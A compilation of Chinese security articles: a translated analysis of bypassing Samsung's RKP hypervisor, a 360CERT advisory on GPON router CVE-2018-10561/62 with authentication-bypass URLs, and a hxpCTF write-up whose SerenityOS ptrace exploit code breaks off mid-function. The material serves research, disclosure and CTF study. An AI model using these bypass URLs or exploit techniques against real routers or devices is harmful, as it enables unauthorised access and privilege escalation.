使用这种漏洞，攻击者可能通过修改其代码的内容，或通过引入新的，受攻击者控制的代码，并在操作系统的上下文中运行，来试图破坏内核本身的完整性。
甚至更巧妙的是，攻击者可以选择修改操作系统使用的数据结构，以便改变其行为（例如，通过授予过多的权限来选择进程）。
由于内核负责管理所有内存转换，包括其自身，因此没有机制阻止同一上下文中的攻击者这样做。
然而，为了符合“深度防御”的概念，可以添加附加层以便保护内核不受这种将要攻击者的攻击。
如果正确堆叠，这些层可以以严重限制或者简单地防止攻击者破坏内核完整性的方式来设计。
在Android生态系统中，三星提供了一个安全管理程序，旨在解决在运行时确保内核完整性的问题。
管理程序被称为“实时内核保护”（RKP），作为三星KNOX的一部分。
在这篇博文中，我们将深入研究RKP的内部工作，并提出多个漏洞，允许攻击者颠覆RKP的每个安全机制。
我们还将看到如何加强RKP的设计，以防止未来的这种性质的攻击，使利用RKP更困难。
和往常一样，本文中的所有漏洞已被披露给三星，修复已在1月SMR提供。
我想指出，除了解决报告的问题，三星KNOX团队十分积极并开放讨论。 这种对话有助于确保问题得到正确诊断和确定根本原因。
此外，KNOX团队已经提前审查了本文，并提供了关于RKP的未来改进计划基于这项研究的关键见解。
我要特别感谢三星KNOX团队的Tomislav Suchan帮助解决我所有的每一个查询，并提供深刻的见解。
Tomislav的辛勤工作确保所有的问题都得到正确和完整的解决，不留下任何东西。
**HYP 101**
在我们开始探索RKP的架构之前，我们首先需要了解ARMv8上的虚拟化扩展。 在ARMv8架构中，引入了一个新的异常级别概念。
通常，离散组件在不同的异常级别运行 – 组件的特权级别越高，其异常级别越高。
在这篇博文中，我们将只关注“正常世界”中的异常级别。
在此上下文中，EL0表示在Android上运行的用户模式进程，EL1表示Android的Linux内核，EL2（也称为“HYP”模式）表示RKP管理程序。
然后，当用户模式进程（EL0）希望与操作系统的内核（EL1）交互时，它们必须通过发出“管理程序调用”（SVC）来触发，然后触发由内核处理的异常。
以相同的方式，通过发出“管理程序调用”（HVC）来执行与管理程序（EL2）的交互。
另外，管理程序可以通过使用“管理程序配置寄存器”（HCR）来控制在内核内执行的关键操作。 此寄存器管理虚拟化功能，使EL2能够与EL1中运行的代码交互。
例如，设置HCR中的某些位将导致管理程序捕获通常由EL1处理的特定操作，使得管理程序能够选择是允许还是不允许所请求的操作。
最后，管理程序能够实现额外的存储器转换层，称为“阶段2转换”。
代替使用操作系统的转换表在虚拟地址（VA）和物理地址（PA）之间映射的常规模型，翻译过程被分成两部分。
首先，使用EL1转换表以便将给定的VA映射到中间物理地址（IPA） – 这被称为“第1阶段转换”。
在该过程中，还应用在翻译中存在的访问控制，包括访问许可（AP）位，从不执行（XN）和从不执行特权执行（PXN）。
然后，通过执行“阶段2转换”将所得到的IPA转换为PA。 该映射通过使用EL2可访问的转换表来执行，并且对于在EL1中运行的代码是不可访问的。
通过使用这种两级转换机制，管理程序能够防止对物理存储器的某些关键区域的访问，其可能包含应该对EL1保密的敏感数据。
**创建研究平台**
正如我们在我们的“HYP 101”课程中看到的，与EL2的沟通明确地通过发出HVC来完成。
与可以由在EL0中运行的代码自由地发出的SVC不同，HVC只能由在EL1中运行的代码触发。
由于RKP在EL2中运行，并通过可以从HVC触发的命令暴露其绝大部分功能，我们首先需要一个平台，我们可以从中发送任意的HVC。
幸运的是，在最近的一篇博客中，我们已经涵盖了一个漏洞，允许我们将权限提升到system_server的上下文中。
这意味着在我们开始调查RKP和与EL2交互之前剩下的所有工作都是找到一个额外的漏洞，允许从已经特权的上下文（如system_server）升级到内核的上下文。
幸运的是，简单地测量暴露于这种特权上下文的攻击面暴露了大量相对简单的漏洞，其中任何一个可以用于在EL1中获得一些立足点。
为了这个研究的目的，我决定利用这些中最方便的：在sysfs条目中的简单堆栈溢出，可以用于获得对内核线程的堆栈内容的任意控制。
一旦我们控制了栈的内容，我们可以构造一个ROP有效载荷，为内核中的函数调用准备参数，调用该函数，并将结果返回给用户空间。
为了便于使用，我们可以将创建一个ROP堆栈的整个过程包装到一个函数中，这个函数调用一个内核函数并将结果返回给用户空间，我们称之为“execute_in_kernel”。
结合我们的shellcode包装器，它将正常的C代码转换为可以注入到system_server中的shellcode，我们现在可以自由构建和运行能够根据需要调用内核函数的代码。
综上所述，我们可以使用这个强大的研究平台开始调查和与RKP交互。 本博客中详细介绍的其余研究在完全更新的Galaxy S7
Edge（SM-G935F，XXS1APG3，Exynos芯片组）上进行，使用这个确切的框架，以便使用第一个exploit将代码注入到system_server中，然后运行代码
在内核中使用第二个exploit。
最后，现在我们已经搞定了所有需要的基础，让我们开始吧！
**Mitigation #1 – KASLR**
随着KNOX v2.6的推出，三星设备实现内核地址空间布局随机化（KASLR）。
这个安全特性引入了每次设备引导时产生的随机“偏移”，通过该偏移，内核的基地址被移位。
通常，内核被加载到固定的物理地址，其对应于内核的VAS中的固定虚拟地址。
通过引入KASLR，所有内核的内存，包括其代码，被这个随机偏移量（也称为“幻灯片”）移动。
虽然KASLR可能是针对旨在利用内核的远程攻击者的有效缓解，但是对于本地攻击者以鲁棒的方式实现是非常困难的。
事实上，已经有一些非常有趣的最近对该主题的研究，其设法击败KASLR，而不需要任何软件缺陷（例如，通过观察定时差异）。
虽然这些攻击本身是非常有趣的，但应该注意，绕过KASLR通常可以更容易地实现。 回想一下，整个内核被一个“滑动”值移动 –
这意味着泄露内核中与内核基址地址有一个已知偏移量的任何指针将允许我们很容易地计算出滑块的值。
Linux内核确实包括旨在防止这种指针泄漏到用户空间的机制。 一种这样的缓解是通过确保每次指针的值由内核写入时，使用特殊格式说明符“％pK”来打印。
然后，根据kptr_restrict的值，内核可以匿名打印的指针。
在我遇到的所有Android设备中，kptr_restrict配置正确，确保“％pK”指针是匿名的。
是的，因为它可能，我们所需要的是找到一个内核开发人员忽略匿名的单一指针。 在三星的情况下，这变得很有趣… pm_qos
debugfs条目，它是可读的system_server，包括以下代码片段负责输出条目的内容：
不幸的是，匿名化格式说明符区分大小写…使用小写“k”，如上面的代码，导致上面的代码输出指针，而不应用“％pK”提供的匿名化（也许这是一个很好的例子
脆弱的KASLR）。 无论如何，这允许我们简单地读取pm_qos的内容，并从指针的值与内核基地址的已知偏移量相减，从而给出KASLR幻灯片的值。
**Mitigation #2 – 加载任意内核代码**
防止新内核代码的分配是RKP强制执行的主要缓解之一。 此外，RKP旨在保护所有现有的内核代码不被修改。 这些缓解是通过强制执行以下规则集来实现的：
1.除了内核代码之外，所有页面都被标记为“Privileged Execute Never” （PXN）
2.内核数据页从不标记为可执行
3.内核代码页从不标记为可写
4.所有内核代码页在阶段2转换表中被标记为只读
5.所有存储器翻译条目（PGD，PMD和PTE）对于EL1被标记为只读
虽然这些规则看起来相当健壮，但我们如何确保它们被正确执行？ 不可否认，规则在RKP文档中很好地布局，但这不是一个强大的保证…
让我们开始挑战第一个断言; 即，除了内核的代码，所有其他页面被标记为PXN。 我们可以通过查看EL1中的阶段1翻译表来检查这个断言。
ARMv8支持在EL1，TTBR0_EL1和TTBR1_EL1中使用两个转换表。
TTBR0_EL1用于保存用户空间VAS的映射，而TTBR1_EL1保存内核的全局映射。
为了分析内核使用的EL1 stage 1翻译表的内容，我们需要首先找到翻译表本身的物理地址。
一旦我们找到翻译表，我们可以使用我们的execute_in_kernel原语，以便在内核中迭代地执行“读取小工具”，从而允许我们读出翻译表的内容。
有一个微小的障碍，我们如何能够检索翻译表的位置？ 为此，我们需要找到一个小工具，允许我们读取TTBR1_EL1，而不会对内核造成任何不良影响。
不幸的是，梳理内核的代码揭示了一个令人沮丧的事实 – 似乎这样的小工具是相当罕见的。
虽然有一些功能读取TTBR1_EL1，但它们还执行其他操作，导致不必要的副作用。 相比之下，RKP的代码段似乎充斥着这样的小工具 –
事实上，RKP包含小的小工具几乎读取和写入属于EL1的每个控制寄存器。
在深入了解内核代码（init / main.c）后，有一些地方令人费解，在Exynos设备（与基于Qualcomm的设备相反）上，RKP由EL1内核引导。
这意味着，不是直接从EL3引导EL2，似乎EL1首先被引导，然后仅执行一些操作以引导EL2。
这种引导是通过在EL1内核的代码段中嵌入包含RKP的代码的整个二进制来实现的。
然后，一旦内核启动，它将RKP二进制复制到预定义的物理范围，并转换到TrustZone，以便引导和初始化RKP。
通过在内核的文本段中嵌入RKP二进制，它成为EL1可执行的内存范围的一部分。 这使我们可以利用嵌入式RKP二进制文件中的所有小工具 – 使生活更容易。
有了这个新的知识，我们现在可以创建一个小程序，读取阶段1翻译表的位置，使用RKP二进制直接在EL1中的小工具，然后转储和解析表的内容。
由于我们有兴趣绕过由RKP实施的代码加载缓解，我们将关注包含Linux内核的物理内存范围。 编写和运行此程序后，我们面临着以下输出：
...
[256] L1 table [PXNTable: 0, APTable: 0]
[ 0] 0x080000000-0x080200000 [PXN: 0, UXN: 1, AP: 0]
[ 1] 0x080200000-0x080400000 [PXN: 0, UXN: 1, AP: 0]
[ 2] 0x080400000-0x080600000 [PXN: 0, UXN: 1, AP: 0]
[ 3] 0x080600000-0x080800000 [PXN: 0, UXN: 1, AP: 0]
[ 4] 0x080800000-0x080a00000 [PXN: 0, UXN: 1, AP: 0]
[ 5] 0x080a00000-0x080c00000 [PXN: 0, UXN: 1, AP: 0]
[ 6] 0x080c00000-0x080e00000 [PXN: 0, UXN: 1, AP: 0]
[ 7] 0x080e00000-0x081000000 [PXN: 0, UXN: 1, AP: 0]
[ 8] 0x081000000-0x081200000 [PXN: 0, UXN: 1, AP: 0]
[ 9] 0x081200000-0x081400000 [PXN: 0, UXN: 1, AP: 0]
[ 10] 0x081400000-0x081600000 [PXN: 1, UXN: 1, AP: 0]
...
如上所述，整个物理内存范围[0x80000000，0x81400000]在第一级转换表中使用第一级“段”描述符映射，每个描述符负责转换1MB范围的内存。
我们还可以看到，如所期望的，该范围被标记为UXN和非PXN – 因此允许EL1在这些范围中执行存储器，而禁止EL0这样做。
然而，更令人惊讶的是，整个范围用访问许可（AP）位值“00”标记。 让我们参考ARM VMSA，看看这些值指示：
Aha – 所以实际上这意味着这些内存范围也是可读写的从EL1！
结合所有这些，我们得出结论，[0x80000000，0x81400000]的整个物理范围在阶段1转换表中被映射为RWX。
这并不意味着我们可以修改内核的代码。 记住，RKP也执行阶段2的内存转换。 这些存储器范围可以在阶段2翻译中受到限制，以防止攻击者获得对它们的写入访问。
在一些逆转之后，我们发现RKP的初始阶段2翻译表实际上嵌入在RKP二进制本身中。 这允许我们提取其内容并详细分析它，类似于我们以前在阶段1翻译表上的工作。
我写了一个python脚本，它根据ARM VMSA中指定的阶段2翻译表格式分析给定的二进制Blob。
接下来，我们可以使用这个脚本来发现RKP在内核的物理地址范围上实施的内存保护：
...
0x80000000-0x80200000: S2AP=11, XN=0
0x80200000-0x80400000: S2AP=11, XN=0
0x80400000-0x80600000: S2AP=11, XN=0
0x80600000-0x80800000: S2AP=11, XN=0
0x80800000-0x80a00000: S2AP=11, XN=0
0x80a00000-0x80c00000: S2AP=11, XN=0
0x80c00000-0x80e00000: S2AP=11, XN=0
0x80e00000-0x81000000: S2AP=11, XN=0
0x81000000-0x81200000: S2AP=11, XN=0
0x81200000-0x81400000: S2AP=11, XN=0
0x81400000-0x81600000: S2AP=11, XN=0
...
首先，我们可以看到RKP使用的阶段2翻译表将每个IPA映射到相同的PA。 因此，在博客文章的剩余部分，我们可以安全地忽略IPA的存在。
然而，更重要的是，我们可以看到，我们的感兴趣的记忆范围没有标记为XN，如预期的。 毕竟，内核应该是EL1可执行的。
但令人困惑的是，整个范围标记有阶段2访问许可（S2AP）位设置为“11”。 再次，让我们参考ARM VMSA：
所以这似乎有点奇怪…这是否意味着整个内核的代码范围在阶段1和阶段2翻译表中被标记为RWX？ 这似乎没有加起来。
事实上，尝试写入包含EL1内核代码的内存地址会导致翻译错误，因此我们肯定在这里缺少一些东西。
啊，但等等！ 我们上面分析的第2阶段翻译表只是RKP启动时使用的初始翻译表。
也许在EL1内核完成初始化之后，它会以某种方式请求RKP修改这些映射，以保护其自己的内存范围。
实际上，再次查看内核的初始化例程，我们可以看到，在启动后不久，EL1内核调用RKP：
static void rkp_init(void)
{
rkp_init_t init;
init.magic = RKP_INIT_MAGIC;
init.vmalloc_start = VMALLOC_START;
init.vmalloc_end = (u64)high_memory;
init.init_mm_pgd = (u64)__pa(swapper_pg_dir);
init.id_map_pgd = (u64)__pa(idmap_pg_dir);
init.rkp_pgt_bitmap = (u64)__pa(rkp_pgt_bitmap);
init.rkp_map_bitmap = (u64)__pa(rkp_map_bitmap);
init.rkp_pgt_bitmap_size = RKP_PGT_BITMAP_LEN;
init.zero_pg_addr = page_to_phys(empty_zero_page);
init._text = (u64) _text;
init._etext = (u64) _etext;
if (!vmm_extra_mem) {
printk(KERN_ERR"Disable RKP: Failed to allocate extra memn");
return;
}
init.extra_memory_addr = __pa(vmm_extra_mem);
init.extra_memory_size = 0x600000;
init._srodata = (u64) __start_rodata;
init._erodata =(u64) __end_rodata;
init.large_memory = rkp_support_large_memory;
rkp_call(RKP_INIT, (u64)&init, 0, 0, 0, 0);
rkp_started = 1;
return;
}
在内核方面，我们可以看到，此命令为RKP提供了属于内核的许多内存范围。 为了弄清楚这个命令的实现，让我们把焦点转移回RKP。
通过在RKP中逆向工程此命令的实现，我们得到以下近似的高级逻辑：
void handle_rkp_init(...) {
...
void* kern_text_phys_start = rkp_get_pa(text);
void* kern_text_phys_end = rkp_get_pa(etext);
rkp_debug_log("DEFERRED INIT START", 0, 0, 0);
if (etext & 0x1FFFFF)
rkp_debug_log("Kernel range is not aligned", 0, 0, 0);
if (!rkp_s2_range_change_permission(kern_text_phys_start, kern_text_phys_end, 128, 1, 1))
rkp_debug_log("Failed to make Kernel range RO", 0, 0, 0);
...
}
上面突出显示的函数调用用于修改给定PA内存范围的阶段2访问权限。使用这些参数调用函数将导致给定的内存范围在阶段2转换中被标记为只读。这意味着在引导EL1内核后不久，RKP确实锁定了对内核代码范围的写访问。
…但是，还是有些东西还在这里。记住，RKP不仅应该防止内核的代码被修改，而且还旨在防止攻击者在EL1中创建新的可执行代码。好吧，虽然内核的代码确实被标记为只读在阶段2翻译表，这是否必然阻止我们创建新的可执行代码？
回想一下，我们以前遇到过KASLR的存在，其中内核的基地址（在内核的VAS和相应的物理地址中）被一个随机化的“滑动”值移动。此外，由于Linux内核假定内核地址的虚拟到物理偏移是恒定的，这意味着相同的滑动值用于虚拟地址和物理地址。
然而，这里有一个小小的障碍 –
我们前面研究的地址范围，标记为RWX的同一个是第一阶段和第二阶段翻译表，比内核的文本段大得多。这部分地是为了在确定KASLR幻灯片之后允许将内核放置在该区域内的某处。然而，正如我们刚才看到的，在选择KASLR幻灯片之后，RKP只保护从“_text”到“_etext”的范围，也就是说，在应用KASLR幻灯片之后，只保留包含内核文本的区域。
这使我们有两个大的区域：[0x80000000，“_text”]，[“_etext”，0x81400000]，在阶段1和阶段2翻译表中留下标记为RWX！
因此，我们可以简单地向这些区域写入新代码，并在EL1的上下文中自由执行，因此绕过代码加载缓解。 我包括一个小PoC，演示这个问题，在这里。
**Mitigation #3 – 绕过EL1内存控制**
正如我们刚刚在上一节中看到的，RKP的某些目标需要的内存控制不仅在阶段2翻译中实施，而且还直接在EL1使用的阶段1翻译中实施。例如，RKP旨在确保除内核代码之外的所有页面都标记为PXN。这些目标要求RKP对阶段1翻译表的内容具有某种形式的控制。
那么RKP究竟如何保证这些类型的保证？这是通过使用组合的方法;首先，阶段1翻译表被放置在阶段2翻译表中被标记为只读的区域中。这实际上不允许EL1代码直接修改转换表本身。其次，内核被检测（一种半虚拟化的形式），以使其意识到RKP的存在。执行该仪器，使得对在阶段1翻译过程（PGD，PMD或PTE）中使用的数据结构的每个写入操作将改为调用RKP命令，通知它请求的改变。
将这两种防御结合在一起，我们得出的结论是，对阶段1翻译表的所有修改必须通过RKP，这反过来可以确保它们不违反其任何安全目标。
虽然这些规则确实防止了阶段1翻译表的当前内容的修改，但是它们不防止攻击者使用存储器管理控制寄存器来规避这些保护。
例如，攻击者可以尝试直接修改TTBR1_EL1的值，将其指向任意（且不受保护）的内存地址。
显然，RKP不允许这样的操作。 为了允许管理程序处理这种情况，可以利用“管理程序配置寄存器”（HCR）。
回想一下，HCR允许管理程序不允许在EL1下执行某些操作。 可以捕获的一种这样的操作是修改EL1存储器管理控制寄存器。
在Exynos设备上的RKP的情况下，虽然它没有设置HCR_EL2.TRVM（即它允许对存储器控制寄存器的所有读访问），但它确实设置了HCR_EL2.TVM，允许它捕获对这些寄存器的写访问。
因此，虽然我们已经确定RKP正确地捕获对控制寄存器的写访问，但这仍然不能保证它们保持受保护。 这实际上是一个微妙的情况 –
Linux内核需要一些访问许多这些寄存器，以执行常规操作。
这意味着虽然某些访问可以被RKP拒绝，但是在允许其继续之前，需要仔细检查其他操作，以确保它们不违反RKP的安全保证。
再次，我们需要反向工程RKP的代码来评估情况。
正如我们可以看到的，尝试修改翻译表本身的位置，导致RKP正确地验证整个翻译表，确保它遵循允许的第1阶段翻译策略。
相比之下，有几个关键的内存控制寄存器，当时，它们不被RKP截获 – TCR_EL1和SCTLR_EL1！
在ARM参考手册中检查这些寄存器揭示了它们都可以对阶段1翻译过程具有深远的影响。
首先，EL1的系统控制寄存器（SCTLR_EL1）对EL1中的系统（包括存储器系统）提供顶级控制。
在我们的场景中一个至关重要的位是SCTLR_EL1.M位。
该位表示用于EL0和EL1中的级1转换的MMU的状态。 因此，只要取消设置此位，攻击者就可以禁用MMU进行阶段1转换。
一旦未置位，EL1中的所有存储器转换都直接映射到IPA，但更重要的是 –
这些存储器转换没有启用任何访问权限检查，有效地使所有存储器范围在阶段1转换中被视为RWX。
这反过来绕过了几个RKP的保证，例如确保只有内核的文本没有标记为PXN。
至于EL1的翻译控制寄存器（TCR_EL1），它的效果略微更微妙。 不是完全禁用阶段1翻译的MMU，该寄存器控制执行翻译的方式。
事实上，更仔细地观察这个寄存器，发现攻击者可以利用它以规避RKP第1阶段保护的某些关键方法。
例如，取决于系统在其下操作的转换颗粒，AARCH64存储器转换表可以采取不同的格式。 通常，AARCH64 Linux内核使用4KB的转换粒度。
这个事实在RKP中被承认。
例如，当EL1中的代码改变转换表的值（例如，TTBR1_EL1）时，RKP必须在阶段2转换中保护该PGD，以便确保EL1不能获得对它的访问。
确实，颠倒RKP中的相应代码揭示了它只是：
然而，如我们在上面的图片中可以看到的，阶段2保护仅在4KB区域（单页）上执行。 这是因为当使用4KB转换颗粒时，转换机制具有4KB的转换表大小。
然而，这是我们作为攻击者进入的地方。如果我们通过修改TCR_EL1.TG0和TCR_EL1.TG1来将翻译颗粒的值改为64KB呢？
在这种情况下，翻译机制的翻译表现在也将是64KB，而不是在以前的制度下的4KB。
由于RKP在保护转换表时使用硬编码值4KB，底部60KB保持不受RKP保护，允许EL1中的攻击者自由修改它以便指向任何IPA，更重要的是具有任何访问权限，
UXN / PXN值。
最后，应该再次注意到，虽然访问这些寄存器的小工具在内核的映像中并不丰富，但是它们存在于Exynos设备上的嵌入式RKP二进制文件中。
因此，我们可以简单地在EL1中执行这些小工具，以修改上面的寄存器。 我写了一个小PoC，通过禁用阶段1 MMU在EL1中演示此问题。
**Mitigation #4 – 访问阶段2未映射内存**
除了操作系统的存储器之外，存在可能包含不应当由在EL0和EL1中运行的代码访问的潜在敏感信息的若干其它存储器区域。例如，SoC上的外设可以将其固件存储在“正常世界”中，在物理存储器范围中，Android应该从不能访问它。
为了实施这样的保护，RKP显式地从阶段2转换表中取消映射几个存储器范围。通过这样做，任何尝试访问EL0或EL1中的这些PA范围将导致翻译错误，从而崩溃内核并重新启动设备。
此外，RKP自己的内存范围也应该使得较小特权代码不可访问。这是至关重要的，以便保护RKP免受EL0和EL1的修改，但也用于保护在RKP中处理的敏感信息（例如“cfprop”键）。实际上，启动后，RKP显式地取消映射它自己的内存范围，以防止这种访问：
不可否认，阶段2翻译表本身被放置在从阶段2翻译表未映射的非常区域内，因此确保EL1中的代码不能修改它。
然而，也许我们可以找到另一种方法来控制阶段2的映射，但利用RKP本身。
例如，如我们之前所见，某些操作（如设置TTBR1_EL1）会导致对阶段2转换表的更改。 组合RKP二进制，我们遇到一个这样的操作，如下：
__int64 rkp_set_init_page_ro(unsigned args* args_buffer)
{
unsigned long page_pa = rkp_get_pa(args_buffer->arg0);
if ( page_pa < rkp_get_pa(text) || page_pa >= rkp_get_pa(etext) )
{
if ( !rkp_s2_page_change_permission(page_pa, 128, 0, 0) )
return rkp_debug_log("Cred: Unable to set permission for init cred", 0LL, 0LL, 0LL);
}
else
{
rkp_debug_log("Good init CRED is within RO range", 0LL, 0LL, 0LL);
}
rkp_debug_log("init cred page", 0LL, 0LL, 0LL);
return rkp_set_pgt_bitmap(page_pa, 0);
}
正如我们所看到的，这个命令从EL1接收一个指针，验证它不在内核的文本段内，如果是这样，继续调用rkp_s2_page_change_permission，以便在阶段2翻译表中修改这个范围的访问权限。
深入了解函数揭示了这组参数用于将区域表示为只读和XN。
但是，如果我们要提供一个驻留在当前没有映射到stage 2翻译的地方的页面，例如RKP自己的内存范围呢？
好吧，在这种情况下，rkp_s2_page_change_permission将很乐意为给定页面创建一个翻译条目，有效地映射到以前未映射的区域！
这允许我们从EL1重新映射任何阶段2未映射区域（尽管为只读和XN）。
我写了一个小PoC，通过阶段2重新映射RKP的物理地址范围并从EL1读取它来演示该问题。
**设计改进RKP**
在看到这篇博文中的一些具体问题后，强调了RKP的不同防御机制如何被攻击者颠覆，让我们思考一下，考虑一些设计选择，以加强RKP的安全态势，防止未来的攻击。
首先，Exynos设备上的RKP当前正由EL1代码引导。这与Qualcomm设备上使用的模型形成了对比，EL2代码由引导加载程序进行验证，随后由EL3引导。理想情况下，我认为Exynos也应该采用在高通设备上使用的相同型号。
以此顺序执行引导会自动修复其他相关的安全问题，例如在内核文本段中存在RKP的二进制文件。正如我们所看到的，这个看似无害的事实在我们在本文中强调的几种情况下对于攻击者是非常有用的。此外，它消除了其他风险，例如攻击者在引导过程中早期利用EL1内核，并利用该访问来颠覆EL2的初始化。
在临时改进中，RKP决定在初始化期间清零在EL1代码中驻留的RKP二进制。这种改进将在三星设备的下一个Nougat里程碑版本中推出，并解决攻击者利用二进制小工具的问题。然而，它没有解决关于潜在的早期利用EL1内核颠覆EL2的初始化的问题，这需要更广泛的修改。
第二，RKP的代码段目前在TTBR0_EL2中标记为可写和可执行。这与SCTLR_EL2.WXN未设置的事实相结合，允许攻击者使用EL2中的任何内存破坏原语，以便直接覆盖EL2代码段，从而更容易利用虚拟机管理程序。
虽然我没有选择在博客文章中包括这些问题，但我发现几个内存损坏，其中任何可以用于修改RKP上下文中的内存。将这两个事实结合在一起，我们可以得出结论，任何这些内存损坏都可以被攻击者用来直接修改RKP的代码本身，从而获得代码执行。
简单地设置SCTLR_EL2.WXN并将RKP的代码标记为只读不会阻止攻击者访问RKP，但是它可以利用这样的内存损坏更难以利用并且更加耗时。
第三，RKP应锁定所有存储器控制寄存器，除非它们绝对必须由Linux内核使用。这将防止滥用这些寄存器，这些寄存器可能会对系统的行为产生影响，并且这样做会违反RKP关于内核的假设。当这些寄存器必须由EL1修改时，RKP应该验证只有适当的位被访问。
RKP已经锁定了访问这个博客文章中提到的两个寄存器。这是朝着正确方向迈出的一个很好的一步，不幸的是，必须保留对这些寄存器中的一些寄存器的访问权，所以简单地撤销对它们的访问不是一个可行的解决方案。因此，防止对其它存储器控制寄存器的访问仍然是长期目标。
最后，应该有一些区别，第二阶段未映射区域，从来没有映射，和那些明确映射出来。这可以通过存储与明确未映射区域相对应的存储器范围并且不允许将导致在RKP内重新映射它们的任何修改来实现。虽然我强调的问题现在是固定的，实施这个额外的步骤将防止未来出现类似的问题。 | 社区文章 |
# CVE-2018-10561/62: GPON光纤路由器漏洞分析预警
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
报告编号： B6-2018-050301
报告来源： 360CERT
报告作者： 360CERT
更新日期： 2018-05-03
## 0x00 漏洞概述
日前，360-CERT监测到两个由VPNMentor披露的GPON家用光纤路由器漏洞，分别涉及到身份认证绕过漏洞(CVE-2018-10561)和命令注入漏洞（CVE-2018-10562），两个漏洞形成的攻击链可以在设备上执行任意系统命令，根据360-CERT的QUAKE系统测绘显示，全球影响范围达百万量级，目前相关漏洞利用代码已公开，应警惕利用该漏洞组成的僵尸网络出现。
GPON技术是现在非常流行的光纤无光源网络设备技术，国内主流运营商的家庭网关大多都采用GPON和EPON技术。国内GPON光纤路由器因为由ISP提供，暴露公网存量不明显，但仍可能收到该漏洞影响。
## 0x01 漏洞影响面
影响设备：
**GPON模式家庭设备网关**
## 0x02 技术细节
#### 身份认证绕过CVE-2018-10561
设备上运行的HTTP服务器在进行身份验证时会检查特定路径，攻击者可以利用这一特性绕过任意终端上的身份验证。
通过在URL后添加特定参数`?images/`，最终获得访问权限：
http://ip:port/menu.html?images/
http://ip:port/GponForm/diag_FORM?images/
### 命令注入CVE-2018-10562
该设备提供了诊断功能，通过`ping`和`traceroute`对设备进行诊断，但并未对用户输入进行检测，直接通过拼接参数的形式进行执行导致了命令注入，通过反引号“和分号;可以进行常规命令注入执行。
该诊断功能会在`/tmp`目录保存命令执行结果并在用户访问`/diag.html`时返回结果，所以结合CVE-2018-10561身份认证绕过漏洞可以轻松获取执行结果。
#### 影响范围
通过QUAKE资产系统检索，全球范围内暴露在互联网上的GPON家庭网关设备多达1015870台，其中以墨西哥，哈萨克斯坦，格鲁吉亚占量为主，国内由于设备多为运营商提供暴露公网数量不明显，暂时无法准确统计其影响占量。
## 0x03 修复建议和缓解措施
由于各方路由终端提供商不同，暂未有统一补丁放出，我们在此建议：
* 检查确认家用网关是否采用GPON，关闭设备对外访问功能。
* 积极与运营商沟通，获取运营商提供的应对措施。
## 0x04 时间线
**2018-05-01** vpnmentor披露该漏洞
**2018-05-03** 360CERT对漏洞进行研判，发布预警
## 0x05 参考链接
1. <https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/> | 社区文章 |
# hxpCTF2020 wisdom2：Ptrace参数未校验引发的SerenityOS内核提权
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本题来源于hxpCTF 2020的wisdom2，是36c3 wisdom的升级版[CVE-2019-20172：36C3
wisdom中的SerenityOS内核提权](https://www.anquanke.com/post/id/228782)，该漏洞存在于serenityOS在2020年12月23日以前提交的版本。
漏洞存在于sys$ptrace()与sys$sigreturn()方法，允许Userland修改Kerneland的寄存器，进一步可实现内核提权。通过修改eflags的IOPL标志位，可对系统I/O设备进行读写操作。
## Description
Description:
Oops, I did it again. :^)
This is commit # 4232874270015d940a2ba62c113bcf12986a2151 with the attached patch applied. Flag is in /dev/hdb.
Note that the setup of this task is perhaps a bit shaky: If you don’t get a shell prompt within a few seconds after solving the proof of work, something is wrong. Each connection has a time limit of 10 minutes; you may contact us in case this causes problems for you.
Download:
wisdom2-c46f03732e9dceef.tar.xz (19.4 MiB)
Connection:
telnet 157.90.19.161 2323
## Build
拉取对应源码<https://github.com/SerenityOS/serenity/tree/4232874270015d940a2ba62c113bcf12986a2151>
按照`Documentation/BuildInstructions.md`安装依赖，并且编译Toolchain和Kernel
先打上patch
git apply /path/to/hxp.patch
编译Toolchain
cd Toolchain
./BuildIt.sh
编译Kernel
cd ..
cd Build
cmake ..
make
make install
运行
make image
make run
exp编译，将exp.cpp放`$SERENITY_ROOT/Userland`，cd进`$SERENITY_ROOT/Build`执行
make -C ./Userland/
在`$SERENITY_ROOT/Build/Userland`看到编译好的exp
通过nc传exp
执行报错，貌似这样编译出来的binary没法运行
解决方法是将`exp`源码放在Userland目录后，cd到Build目录，执行
make
make install
make image
重新生成Kernel，exp成功执行
## Exploiting
### 0x01 Vulnerable
漏洞成因是：Ptrace传入regs组未加任何检查便传递给kernel_regs，导致可以任意修改Kernel寄存器值
利用过程只需将`kernel_regs.eflags`的IOPL位(12/13 bits)置1，从而允许Userland访问系统I/O。
### 0x02 Debug
修改`run.sh`，添加`-s`参数，启用调试接口
gdb attach上去
在`copy_ptrace_registers_into_kernel_registers`打断点
exp修改成将kernel_regs.edi置0xdeadbeef，编译后传到serenityOS
Kernel的edi寄存器已被置0xdeadbeef
### 0x03 Read flag
flag.txt是以设备的形式挂载到`/dev/hdb`，由于现在只有Userland访问I/O的权限，没法调Kernel里的`get_device`等设备操纵方法（需要特权）
可以看到`Device::get_device`、`DiskDevice::read`方法位于Kerneland，Userland没法调，也就是没法利用wisdom1的方法去读flag
通过`DiskDevice::read`方法去读flag，导致Processor Halt
解决办法是利用现成的ATA
PIO驱动程序读取flag，<https://github.com/dhavalhirdhav/LearnOS/blob/fe764387c9f01bf67937adac13daace909e4093e/drivers/ata/ata.c>
## Script
完整的exploit
#include <sys/cdefs.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ptrace.h>
#include <assert.h>
#include <LibC/sys/arch/i386/regs.h>
#include <sys/wait.h>
#include <stdlib.h>
// IDE Reading Code taken from https://github.com/dhavalhirdhav/LearnOS/blob/fe764387c9f01bf67937adac13daace909e4093e/drivers/ata/ata.c
#define STATUS_BSY 0x80
#define STATUS_RDY 0x40
#define STATUS_DRQ 0x08
#define STATUS_DF 0x20
#define STATUS_ERR 0x01
// -Wall, -Werror :(
void raiseIOPL(void);
unsigned char port_byte_in(unsigned short port);
uint16_t port_word_in (uint16_t port);
void port_byte_out(unsigned short port, unsigned char data);
static void ATA_wait_BSY();
static void ATA_wait_DRQ();
void read_sectors_ATA_PIO(uint32_t target_address, uint32_t LBA, uint8_t sector_count);
unsigned char port_byte_in (unsigned short port) {
unsigned char result;
__asm__("in %%dx, %%al" : "=a" (result) : "d" (port));
return result;
}
void port_byte_out (unsigned short port, unsigned char data) {
